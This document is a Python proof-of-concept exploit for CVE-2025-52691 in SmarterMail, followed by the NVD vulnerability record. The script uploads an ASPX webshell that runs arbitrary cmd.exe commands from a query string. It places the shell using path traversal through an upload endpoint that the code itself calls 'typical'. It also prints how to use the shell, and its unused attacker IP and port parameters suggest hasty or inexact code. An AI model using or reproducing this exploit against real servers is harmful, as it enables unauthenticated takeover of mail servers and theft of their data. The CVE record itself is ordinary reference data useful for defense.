CVE-2025-52691

# CVE-2025-52691 SmarterMail Arbitrary File Upload PoC # Target: SmarterMail server (unauthenticated) # Impact: Remote Code Execution import requests import sys def exploit_smartermail(target_url, attacker_ip, attacker_port): """ Exploit CVE-2025-52691: Unauthenticated arbitrary file upload Uploads a webshell to the SmarterMail server """ # Webshell content - ASPX webshell for Windows/.NET environment webshell = ''' <%@ Page Language="C#" %> <%@ Import Namespace="System.Diagnostics" %> <script runat="server"> void Page_Load(object sender, EventArgs e) { string cmd = Request.QueryString["cmd"]; if (cmd != null) { ProcessStartInfo psi = new ProcessStartInfo(); psi.FileName = "cmd.exe"; psi.Arguments = "/c " + cmd; psi.RedirectStandardOutput = true; psi.UseShellExecute = false; Process p = Process.Start(psi); Response.Write(p.StandardOutput.ReadToEnd()); } } </script> ''' # Target path for webshell upload (using path traversal) upload_path = "../../../../../../../../../../wwwroot/webshell.aspx" # File upload endpoint (typical SmarterMail upload endpoint) upload_url = f"{target_url}/WebResources/AttachFile" # Construct multipart form data request files = { 'file': ('webshell.aspx', webshell, 'application/x-aspx') } data = { 'path': upload_path } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Accept': '*/*' } print(f"[*] Target: {target_url}") print(f"[*] Uploading webshell to: {upload_path}") try: # Send malicious file upload request response = requests.post( upload_url, files=files, data=data, headers=headers, timeout=30 ) if response.status_code == 200: print("[+] File uploaded successfully!") webshell_url = f"{target_url}/webshell.aspx" print(f"[+] Webshell URL: {webshell_url}") print(f"[+] Example command: {webshell_url}?cmd=whoami") return True else: print(f"[-] Upload failed. Status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-52691.py <target_url>") print("Example: python cve-2025-52691.py http://vulnerable-server:2000") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_smartermail(target, "attacker_ip", 4444)

{"cve": {"id": "CVE-2025-52691", "sourceIdentifier": "5f57b9bf-260d-4433-bf07-b6a79e9bb7d4", "published": "2025-12-29T03:15:42.837", "lastModified": "2026-01-27T15:28:07.247", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Successful exploitation of the vulnerability could allow an unauthenticated attacker to upload arbitrary files to any location on the mail server, potentially enabling remote code execution."}], "metrics": {"cvssMetricV31": [{"source": "5f57b9bf-260d-4433-bf07-b6a79e9bb7d4", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "cisaExploitAdd": "2026-01-26", "cisaActionDue": "2026-02-16", "cisaRequiredAction": "Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.", "cisaVulnerabilityName": "SmarterTools SmarterMail Unrestricted Upload of File with Dangerous Type Vulnerability", "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:smartertools:smartermail:*:*:*:*:*:*:*:*", "versionEndExcluding": "100.0.9413", "matchCriteriaId": "A9F4301A-C277-47F6-841D-386EDD24EE67"}]}]}], "references": [{"url": "https://www.csa.gov.sg/alerts-and-advisories/alerts/al-2025-124/", "source": "5f57b9bf-260d-4433-bf07-b6a79e9bb7d4", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/watchtowrlabs/watchTowr-vs-SmarterMail-CVE-2025-52691?ref=labs.watchtowr.com", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-52691", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["US Government Resource"]}]}}